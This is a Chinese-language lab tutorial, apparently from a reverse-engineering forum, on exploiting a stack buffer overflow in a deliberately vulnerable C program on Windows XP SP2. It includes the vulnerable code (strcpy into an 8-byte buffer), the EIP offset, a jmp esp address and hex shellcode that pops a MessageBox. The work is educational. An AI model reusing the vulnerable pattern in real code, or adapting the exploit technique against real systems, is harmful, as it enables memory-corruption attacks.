0x01 准备:
VMwarePlayer
(我是在360软件管家那搜到的下载的)
xp sp2 http://user.qzone.qq.com/252738331/blog/1357138598
(这是我的QQ空间文章,平时收藏的一些windows老版系统,用来做实验用的)
vc++6.0绿色完整版 网上自己下巴(30M左右)
ollydby (OllyDBG_1.10_second_cao_cong看雪上下的)
winhex (网上有很多的)
安装好VM、做好虚拟机(xp sp2)、虚拟机里安好vc++6.0 , ollydby winhex ....
0x02 生成带缓冲区溢出漏洞的程序
include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify(char * passwd)
{
int iRet;
char buffer[8];
iRet = strcmp(passwd,PASSWORD);
strcpy(buffer,passwd);
return iRet;
}
int main()
{
int flag = 0;
char passwd[1024];
FILE * fp;
LoadLibrary("user32.dll");
//MessageBox(NULL,"dd","xx",1);
if(!(fp=fopen("password2.txt","rw+")))
{
printf("fp fopen flaid \n");
int e = GetLastError();
exit(0);
}
fscanf(fp,"%s",passwd);
flag = verify(passwd);
if(flag)
{
printf("incorrect password \n");
}
else
{
printf("correct password \n");
}
fclose(fp);
return 0;
}
以上参考0day2
0x03触发 溢出
把debug目录下password2.txt,内容输入abcdefjh.....xyz 保存、运行生成的exe 、溢出
offset:74737371 tsrq 控制eip
0x04 分析
设置ollydby为默认实时调试器
运行exe ollydby断下
仔细观察发现 tsrq 处 控制了eip , esp指向 uvwxyz
所以可以用 jmp esp 策略 使用 lion万能 jmp esp 0x7ffa4512 反向填充tsrq处,
0x 9083EC4033DB536877657374686661696C8BC453505053B8
1661D677FFD0 为shellcode 填充uvwxyz....
(其中我的xp sp2 上的 messageboxw的地址1661D677,因为我的messageboxA 的地址含0较多截断了字符串所以用了W的)
自己根据情况修改红处( 以上修改文件都是用winhex修改)
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法